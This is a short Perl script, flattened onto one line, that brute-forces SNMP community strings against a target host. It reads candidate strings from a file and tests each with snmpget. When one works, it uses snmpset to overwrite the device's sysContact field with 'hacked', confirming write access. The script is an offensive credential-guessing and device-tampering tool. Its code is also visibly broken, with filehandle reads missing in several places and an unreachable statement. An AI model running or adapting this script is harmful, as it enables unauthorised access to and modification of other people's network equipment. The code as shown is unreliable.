#!/usr/bin/perl if ( @ARGV =~ /\-v/ ) { $optv = "yes"; } $num= @ARGV; $num--; print " $optv" ; $address = $ARGV[$num]; open (INFILE,$ARGV[$num-1]); while ( ) { $community=$_ ; chomp($community) ; $cmd = sprintf("snmpget %s %s system.sysContact.0 2>&1 |" , $address, $community ); open (IN,$cmd); $x = ; print $x; if ( $x =~ /Error in packet/ ) { print "not $community \n" ; } else { if ( $x =~ /system.sysContact/ ) { print "horray $community is valid and is at least a read community \n" ; is_write(); } } close (IN); } exit; # sub is_write() { $cmdw = sprintf("snmpset %s %s system.sysContact.0 s hacked 2>&1 |" , $address, $community ); open (SETIN,$cmdw); $y=; if ( $y =~ /Error in packet/ ) { return 0; print "not $community " ; } else { if ( $y =~ /system.sysContact/ ) { print "$community is a write community \n" ; print " system.sysContact.0 is set to >> hacked << \n " ; print " was $x \n " ; exit ; } } close(SETIN); }